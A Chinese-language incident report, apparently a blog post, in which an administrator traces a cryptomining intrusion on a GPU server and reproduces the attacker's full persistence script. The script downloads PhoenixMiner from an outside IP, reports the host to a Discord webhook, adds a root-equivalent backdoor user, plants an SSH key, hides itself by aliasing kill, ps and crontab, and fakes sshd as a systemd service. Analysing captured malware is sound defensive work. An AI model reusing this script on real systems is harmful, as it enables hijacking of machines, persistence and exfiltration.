某日,发现服务器正在挖矿,问遍了大多数用户,都没有,随记录下处理过程

查看挖矿进程

  1. root@localhost:~# nvidia-smi
  2. Thu May 27 09:30:34 2021
  3. +-----------------------------------------------------------------------------+
  4. | NVIDIA-SMI 460.67 Driver Version: 460.67 CUDA Version: 11.2 |
  5. |-------------------------------+----------------------+----------------------+
  6. | GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC |
  7. | Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. |
  8. | | | MIG M. |
  9. |===============================+======================+======================|
  10. | 0 GeForce GTX 108... Off | 00000000:04:00.0 Off | N/A |
  11. | 42% 72C P2 186W / 250W | 7354MiB / 11178MiB | 100% Default |
  12. | | | N/A |
  13. +-------------------------------+----------------------+----------------------+
  14. | 1 GeForce GTX 108... Off | 00000000:05:00.0 Off | N/A |
  15. | 49% 83C P2 198W / 250W | 4519MiB / 11178MiB | 100% Default |
  16. | | | N/A |
  17. +-------------------------------+----------------------+----------------------+
  18. | 2 GeForce GTX 108... Off | 00000000:08:00.0 Off | N/A |
  19. | 50% 83C P2 188W / 250W | 4519MiB / 11178MiB | 100% Default |
  20. | | | N/A |
  21. +-------------------------------+----------------------+----------------------+
  22. | 3 GeForce GTX 108... Off | 00000000:09:00.0 Off | N/A |
  23. | 45% 77C P2 187W / 250W | 4519MiB / 11178MiB | 100% Default |
  24. | | | N/A |
  25. +-------------------------------+----------------------+----------------------+
  26. | 4 GeForce GTX 108... Off | 00000000:84:00.0 Off | N/A |
  27. | 50% 83C P2 178W / 250W | 4519MiB / 11178MiB | 100% Default |
  28. | | | N/A |
  29. +-------------------------------+----------------------+----------------------+
  30. | 5 GeForce GTX 108... Off | 00000000:85:00.0 Off | N/A |
  31. | 49% 83C P2 195W / 250W | 4519MiB / 11178MiB | 100% Default |
  32. | | | N/A |
  33. +-------------------------------+----------------------+----------------------+
  34. | 6 GeForce GTX 108... Off | 00000000:88:00.0 Off | N/A |
  35. | 47% 81C P2 200W / 250W | 4519MiB / 11178MiB | 100% Default |
  36. | | | N/A |
  37. +-------------------------------+----------------------+----------------------+
  38. | 7 GeForce GTX 108... Off | 00000000:89:00.0 Off | N/A |
  39. | 49% 83C P2 189W / 250W | 4519MiB / 11178MiB | 100% Default |
  40. | | | N/A |
  41. +-------------------------------+----------------------+----------------------+
  42. +-----------------------------------------------------------------------------+
  43. | Processes: |
  44. | GPU GI CI PID Type Process name GPU Memory |
  45. | ID ID Usage |
  46. |=============================================================================|
  47. | 0 N/A N/A 11220 C python 2835MiB |
  48. | 0 N/A N/A 23434 C ./PhoenixMiner 4517MiB |
  49. | 1 N/A N/A 23434 C ./PhoenixMiner 4517MiB |
  50. | 2 N/A N/A 23434 C ./PhoenixMiner 4517MiB |
  51. | 3 N/A N/A 23434 C ./PhoenixMiner 4517MiB |
  52. | 4 N/A N/A 23434 C ./PhoenixMiner 4517MiB |
  53. | 5 N/A N/A 23434 C ./PhoenixMiner 4517MiB |
  54. | 6 N/A N/A 23434 C ./PhoenixMiner 4517MiB |
  55. | 7 N/A N/A 23434 C ./PhoenixMiner 4517MiB |
  56. +-----------------------------------------------------------------------------+

再检查进程

  1. cortex@localhost:~$ ps -ef |grep -i miner
  2. hwd 23433 1 0 08:05 ? 00:00:00 sh -c ./PhoenixMiner -restart 0 -pool ssl://eth-asia1.nanopool.org:9433 -wal 0xd281ffdd4fb30987b7fe4f8721b022f4b4ffc9f8.sclipiciNR1/sclipicinr1@gmail.com
  3. hwd 23434 23433 1 08:05 ? 00:00:59 ./PhoenixMiner -restart 0 -pool ssl://eth-asia1.nanopool.org:9433 -wal 0xd281ffdd4fb30987b7fe4f8721b022f4b4ffc9f8.sclipiciNR1/sclipicinr1@gmail.com
  4. hwd 27702 27688 0 09:28 ? 00:00:00 curl -s -L -O 45.32.112.68/.mini/PhoenixMiner.tar
  5. cortex 28134 27954 0 09:32 pts/4 00:00:00 grep --color=auto -i miner

好家伙,跑满了,首先先尝试 kill 进程,并且这个用户不是已知用户。

  1. kill -9 23433
  2. kill -9 23434

结果马上又立刻起来了,肯定有守护进程或者脚本之,最后在 crontab 中发现脚本

  1. # crontab -u hwd -l
  2. # @daily /var/tmp/.tmp/./.b4nd1d0
  3. # @reboot /var/tmp/.tmp/./.placi > /dev/null 2>&1 & disown
  4. # * * * * * /var/tmp/.tmp/./.placi > /dev/null 2>&1 & disown
  5. # @monthly /var/tmp/.tmp/./.placi > /dev/null 2>&1 & disown

挨个查看脚本, 相当于初始化,了解下思路

  1. cat /var/tmp/.tmp/./.b4nd1d0
  2. #!/bin/bash
  3. m1lbe1()
  4. {
  5. if ! pgrep -x PhoenixMiner >/dev/null
  6. then
  7. cd /var/tmp/.tmp/PhoenixMiner
  8. ./PhoenixMiner -pool ssl://eth-asia1.nanopool.org:9433 -wal 0xd281ffdd4fb30987b7fe4f8721b022f4b4ffc9f8.sclipiciNR1/sclipicinr1@gmail.com >/dev/null 2>&1 & disown $*
  9. else
  10. exit;
  11. fi
  12. }
  13. m1lbe1
  14. 主要是检查进程`PhoenixMiner`是否存在,不存在就直接重启挖矿
  1. #!/bin/bash
  2. ###Date###
  3. user="sclipicibosu"
  4. pass="saieilamuie"
  5. gilimea='"'
  6. ip=`/usr/bin/curl -s -connect-timeout 4 -m 4 ifconfig.me`
  7. rm -rf *timeout
  8. sshkey="ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAplmD9EFVf28OUB8tK/qJYG4ggMAw9PJzJU1AONgB5FV9w1hxxmP/+vVUfj7HgaTPB94IW4svaMe3vMTkmYm/0y9Zrh8Q2r6f/r1OqpwQU3ThLR6quOAtl7TW7y4VIQ/wxXOffINAIrEv7mi8D0XgpkiFwIUoblZY0ErPjBwy0WFqua2Z0qxx1bHoznDxPOsHMRxSge4DYA0gADttEWz8x1NZFcjMql8OOQ5IpZRsHxlO4cBVG37WyYpL7NYGF0gqnRRFSXBGduQph1dsEf3KFo83/QaSg+mm+EQiFrbVeqpm9tDjiFazbrwsw0YhT47yzKPi+Tews16sIHAvs5KZkw== sclipicibosu"
  9. nenea=`whoami`s
  10. uptime=$(</proc/uptime)
  11. uptime=${uptime%%.*}
  12. zile=$(( uptime/60/60/24 ))
  13. secunde=$(( uptime%60 ))
  14. minute=$(( uptime/60%60 ))
  15. ore=$(( uptime/60/60%24 ))
  16. sended=$(date +'%m/%d/%Y')
  17. url='https://discord.com/api/webhooks/821345448212037685/UIO1CteG8cl6DerrO6fbI0ldKGk90H36NeNpXH56aYNbCBd1UZ31J89CR5ZBRSd9c3xj'
  18. ##########
  19. getingmineru(){
  20. locatie="$(cat /var/tmp/.ladyg0g0/.pr1nc35)"
  21. if [ -f $locatie/PhoenixMiner ]; then
  22. :
  23. else
  24. curl -s -L -O 45.32.112.68/.mini/PhoenixMiner.tar
  25. tar xvf PhoenixMiner.tar
  26. chmod 777 PhoenixMiner/*
  27. fi
  28. }
  29. ###
  30. locationperfection(){
  31. tinlex=$(pwd)
  32. mkdir /var/tmp/.ladyg0g0/ >/dev/null 2>&1
  33. echo $tinlex > "/var/tmp/.ladyg0g0/.pr1nc35"
  34. if [ $(id -u) = 0 ]; then
  35. if [ -f "/usr/bin/.locationesclipiciu" ]; then
  36. :
  37. else
  38. echo $tinlex > "/usr/bin/.locationesclipiciu"
  39. fi
  40. fi
  41. }
  42. ###
  43. showproof(){
  44. echo '
  45. {
  46. "content": null,
  47. "embeds": [
  48. {
  49. "title": "Miner ON: Ip: '$ip' | Pe User: '$nenea' ",
  50. "description": "**Cand s-a facut Install-ul:** ***'$sended'***\n\n**Other Info:** ***Version: 3.0*** **| Uptime Miner:** ***'$zile'*** **Zile**",
  51. "color": 16711680
  52. }
  53. ]
  54. }' > /tmp/.send.json
  55. /usr/bin/curl -H "Content-Type: application/json" --data @/tmp/.send.json $url
  56. }
  57. ###
  58. sshkiller(){
  59. if [ $(id -u) = 0 ]; then
  60. mkdir /usr/.SQL-Unix
  61. mkdir /usr/.SQL-Unix/.SQL
  62. echo "# .bashrc
  63. ############
  64. rm -rf ~/.bashrc
  65. rm -rf ~/.bash_history
  66. alias pkill='printf $gilimea$gilimea'
  67. alias kill='printf $gilimea$gilimea'
  68. alias killall='printf $gilimea$gilimea'
  69. alias init='printf $gilimea$gilimea'
  70. alias rm='printf $gilimea$gilimea'
  71. alias halt='printf $gilimea$gilimea'
  72. alias adduser='printf $gilimea$gilimea'
  73. alias userdel='printf $gilimea$gilimea'
  74. alias crontab='printf $gilimea$gilimea'
  75. alias htop='printf $gilimea$gilimea'
  76. alias find='printf $gilimea$gilimea'
  77. alias locate='printf $gilimea$gilimea'
  78. alias ps='printf $gilimea$gilimea'
  79. alias ss='printf $gilimea$gilimea'
  80. alias netstat='printf $gilimea$gilimea'
  81. ############
  82. echo '# .bashrc
  83. source /usr/.SQL-Unix/.SQL/.db
  84. alias rm='rm -i'
  85. alias cp='cp -i'
  86. alias mv='mv -i'
  87. echo Uname: $(uname -a)
  88. ' > ~/.bashrc
  89. " > /usr/.SQL-Unix/.SQL/.db
  90. echo "# .bashrc
  91. source /usr/.SQL-Unix/.SQL/.db
  92. alias rm='rm -i'
  93. alias cp='cp -i'
  94. alias mv='mv -i'
  95. echo Uname: $(uname -a)
  96. " > ~/.bashrc
  97. echo "
  98. if [ -f ~/.bashrc ]; then
  99. . ~/.bashrc
  100. fi
  101. " > ~/.bash_profile
  102. chattr -i /root/.ssh ; chattr -i /root/.ssh/authorized_keys
  103. echo $sshkey > "/root/.ssh/authorized_keys"
  104. chmod 600 /root/.ssh/authorized_keys
  105. chattr +i /root/.ssh/authorized_keys
  106. else
  107. mkdir /var/tmp/.SQL-Unix > /dev/null 2>&1
  108. mkdir /var/tmp/.SQL-Unix/.SQL > /dev/null 2>&1
  109. echo "# .bashrc
  110. ############
  111. rm -rf ~/.bashrc
  112. rm -rf ~/.bash_history
  113. alias pkill='printf $gilimea$gilimea'
  114. alias kill='printf $gilimea$gilimea'
  115. alias killall='printf $gilimea$gilimea'
  116. alias init='printf $gilimea$gilimea'
  117. alias rm='printf $gilimea$gilimea'
  118. alias halt='printf $gilimea$gilimea'
  119. alias adduser='printf $gilimea$gilimea'
  120. alias userdel='printf $gilimea$gilimea'
  121. alias crontab='printf $gilimea$gilimea'
  122. alias htop='printf $gilimea$gilimea'
  123. alias find='printf $gilimea$gilimea'
  124. alias locate='printf $gilimea$gilimea'
  125. alias ps='printf $gilimea$gilimea'
  126. alias ss='printf $gilimea$gilimea'
  127. alias netstat='printf $gilimea$gilimea'
  128. ############
  129. echo '# .bashrc
  130. source /var/tmp/.SQL-Unix/.SQL/.db
  131. alias rm='rm -i'
  132. alias cp='cp -i'
  133. alias mv='mv -i'
  134. echo Uname: $(uname -a)
  135. ' > ~/.bashrc
  136. " > /var/tmp/.SQL-Unix/.SQL/.db
  137. echo "# .bashrc
  138. source /var/tmp/.SQL-Unix/.SQL/.db
  139. alias rm='rm -i'
  140. alias cp='cp -i'
  141. alias mv='mv -i'
  142. echo Uname: $(uname -a)
  143. " > ~/.bashrc
  144. echo "
  145. if [ -f ~/.bashrc ]; then
  146. . ~/.bashrc
  147. fi
  148. " > ~/.bash_profile
  149. fi
  150. }
  151. ###
  152. facuser(){
  153. if [ $(id -u) = 0 ]; then
  154. if ! cat /etc/passwd | grep -q "${user}"; then
  155. /usr/sbin/useradd -u0 -g0 -o -s /bin/bash $user ; usermod -aG sudo $user
  156. yes "$pass" | passwd $user
  157. else
  158. :
  159. fi
  160. fi
  161. }
  162. ###
  163. minerinio(){
  164. locatie="$(pwd)"
  165. if [ -f $locatie/.b4nd1d0 ]
  166. then
  167. locatie="$(pwd)"
  168. echo '#!/bin/bash
  169. m1lbe1()
  170. {
  171. if ! pgrep -x PhoenixMiner >/dev/null
  172. then
  173. cd '$locatie'/PhoenixMiner
  174. ./PhoenixMiner -pool ssl://eth-asia1.nanopool.org:9433 -wal 0xd281ffdd4fb30987b7fe4f8721b022f4b4ffc9f8.sclipiciNR1/sclipicinr1@gmail.com >/dev/null 2>&1 & disown $*
  175. else
  176. exit;
  177. fi
  178. }
  179. m1lbe1' > $locatie/.b4nd1d0
  180. chmod 777 $locatie/.b4nd1d0
  181. $locatie/./.b4nd1d0
  182. else
  183. locatie="$(pwd)"
  184. echo '#!/bin/bash
  185. m1lbe1()
  186. {
  187. if ! pgrep -x PhoenixMiner >/dev/null
  188. then
  189. cd '$locatie'/PhoenixMiner
  190. ./PhoenixMiner -pool ssl://eth-asia1.nanopool.org:9433 -wal 0xd281ffdd4fb30987b7fe4f8721b022f4b4ffc9f8.sclipiciNR1/sclipicinr1@gmail.com >/dev/null 2>&1 & disown $*
  191. else
  192. exit;
  193. fi
  194. }
  195. m1lbe1' > $locatie/.b4nd1d0
  196. chmod 777 $locatie/.b4nd1d0
  197. $locatie/./.b4nd1d0
  198. fi
  199. }
  200. ###
  201. crontablegend() {
  202. locatie="$(pwd)"
  203. if ! crontab -l | grep -q '.placi'; then
  204. rm -rf $locatie/.5p4rk3l5
  205. echo "@daily "$locatie"/./.b4nd1d0" >> $locatie/.5p4rk3l5
  206. sleep 1
  207. echo "@reboot "$locatie"/./.placi > /dev/null 2>&1 & disown" >> $locatie/.5p4rk3l5
  208. sleep 1
  209. echo "* * * * * "$locatie"/./.placi > /dev/null 2>&1 & disown" >> $locatie/.5p4rk3l5
  210. sleep 1
  211. echo "@monthly "$locatie"/./.placi > /dev/null 2>&1 & disown" >> $locatie/.5p4rk3l5
  212. sleep 1
  213. crontab $locatie/.5p4rk3l5
  214. sleep 1
  215. source ~/.bashrc
  216. rm -rf $locatie/.5p4rk3l5
  217. fi
  218. }
  219. ###
  220. locationperfection
  221. sleep 0.5
  222. echo "Locatie ON"
  223. wait
  224. getingmineru
  225. sleep 0.5
  226. echo "Minerul Luat"
  227. wait
  228. facuser
  229. sleep 0.5
  230. echo "User Facut"
  231. wait
  232. sshkiller
  233. sleep 0.5
  234. echo "SSH Mort"
  235. wait
  236. showproof
  237. sleep 0.5
  238. echo "Info Trimis"
  239. wait
  240. crontablegend
  241. sleep 0.5
  242. echo "Crontab Done"
  243. wait
  244. minerinio
  245. sleep 0.5
  246. echo "Minerul Pornit"
  247. wait
  248. ###
  249. checkingpid(){
  250. if [ -f /usr/bin/.pidsclip ]; then
  251. if ps -p $(cat /usr/bin/.pidsclip) > /dev/null; then
  252. echo "Already running..."
  253. else
  254. /usr/bin/sshd > /dev/null 2>&1 & disown
  255. echo $! > /usr/bin/.pidsclip
  256. chmod 777 /usr/bin/.pidsclip
  257. echo "Done"
  258. fi
  259. else
  260. /usr/bin/sshd > /dev/null 2>&1 & disown
  261. echo $! > /usr/bin/.pidsclip
  262. chmod 777 /usr/bin/.pidsclip
  263. echo "Done"
  264. fi
  265. }
  266. ###
  267. killingstrangers(){
  268. echo '
  269. #!/bin/bash
  270. locatieasdf=$(cat /usr/bin/.locationesclipiciu)
  271. if [ ! -d '$locatieasdf' ]; then
  272. mkdir '$locatieasdf'
  273. rsync -r /usr/bin/.locationesclipiciu/ '$locatieasdf'/
  274. sleep 1
  275. '$locatieasdf'/.b4nd1d0 > /dev/null 2>&1 & disown
  276. else
  277. if [ ! -f '$locatieasdf'/PhoenixMiner ]; then
  278. rsync -r /usr/bin/.locationesclipiciu/ '$locatieasdf'/
  279. sleep 1
  280. '$locatieasdf'/.b4nd1d0 > /dev/null 2>&1 & disown
  281. fi' > /usr/bin/sshd
  282. sleep 1
  283. chmod 777 /usr/bin/sshd
  284. }
  285. ###
  286. pisamsystemu(){
  287. echo '[Unit]
  288. Description=Example systemd service.
  289. [Service]
  290. Type=simple
  291. Restart=always
  292. RestartSec=3600
  293. ExecStart=/bin/bash /usr/bin/sshd
  294. [Install]
  295. WantedBy=multi-user.target' > /lib/systemd/system/myservice.service
  296. sleep 1
  297. chmod 644 /lib/systemd/system/myservice.service
  298. systemctl enable myservice
  299. systemctl start myservice
  300. if [ -f "/var/tmp/.ladyg0g0/.pr1nc35" ]; then
  301. echo "Locatia este deja setata"
  302. else
  303. if [ -f "/usr/bin/.locationesclipiciu" ]; then
  304. locationperfection
  305. echo "Am-rupt-locatiile-alea"
  306. sleep 1
  307. fi
  308. fi
  309. if [ ! -f "/var/tmp/.ladyg0g0/.pr1nc35" ]; then
  310. if [ -d "/var/tmp/.ladyg0g0" ]; then
  311. locationperfection
  312. locationperfection
  313. echo "Locatia a fost setata"
  314. else
  315. echo "Acum facem folderul"
  316. mkdir /var/tmp/.ladyg0g0/
  317. locationperfection
  318. locationperfection
  319. echo "Am setat locatia"
  320. fi
  321. fi
  322. if [ -f $(cat /var/tmp/.ladyg0g0/.pr1nc35)/.pidsclip ]; then
  323. if ps -p $(cat $(cat /var/tmp/.ladyg0g0/.pr1nc35)/.pidsclip) > /dev/null; then
  324. echo "Already running..."
  325. else
  326. $(cat /var/tmp/.ladyg0g0/.pr1nc35)/.placi > /dev/null 2>&1 & disown
  327. echo $! > $(cat /var/tmp/.ladyg0g0/.pr1nc35)/.pidsclip
  328. chmod 777 $(cat /var/tmp/.ladyg0g0/.pr1nc35)/.pidsclip
  329. echo "Done"
  330. fi
  331. else
  332. $(cat /var/tmp/.ladyg0g0/.pr1nc35)/.placi > /dev/null 2>&1 & disown
  333. echo $! > $(cat /var/tmp/.ladyg0g0/.pr1nc35)/.pidsclip
  334. chmod 777 $(cat /var/tmp/.ladyg0g0/.pr1nc35)/.pidsclip
  335. echo "Done"
  336. fi
  337. }
  338. ###
  339. if [ $(id -u) = 0 ]; then
  340. if [ ! -d /usr/bin/.locationesclipiciu ]; then
  341. cp -avr $(cat /var/tmp/.ladyg0g0/.pr1nc35) /usr/bin/.locationesclipiciu >/dev/null 2>&1 & disown
  342. bash -c 'yum install -y rsync >/dev/null 2>&1 & disown' || bash -c 'apt install -y rsync >/dev/null 2>&1 & disown'
  343. if [ ! -f /usr/bin/sshd ]; then
  344. killingstrangers
  345. pisamsystemu
  346. checkingpid
  347. fi
  348. fi
  349. fi

措施

  • 禁止ip访问

    1. iptables -I INPUT -s ***.***.***.*** -j DROP
  • 删除用户

    1. userdel hwd -r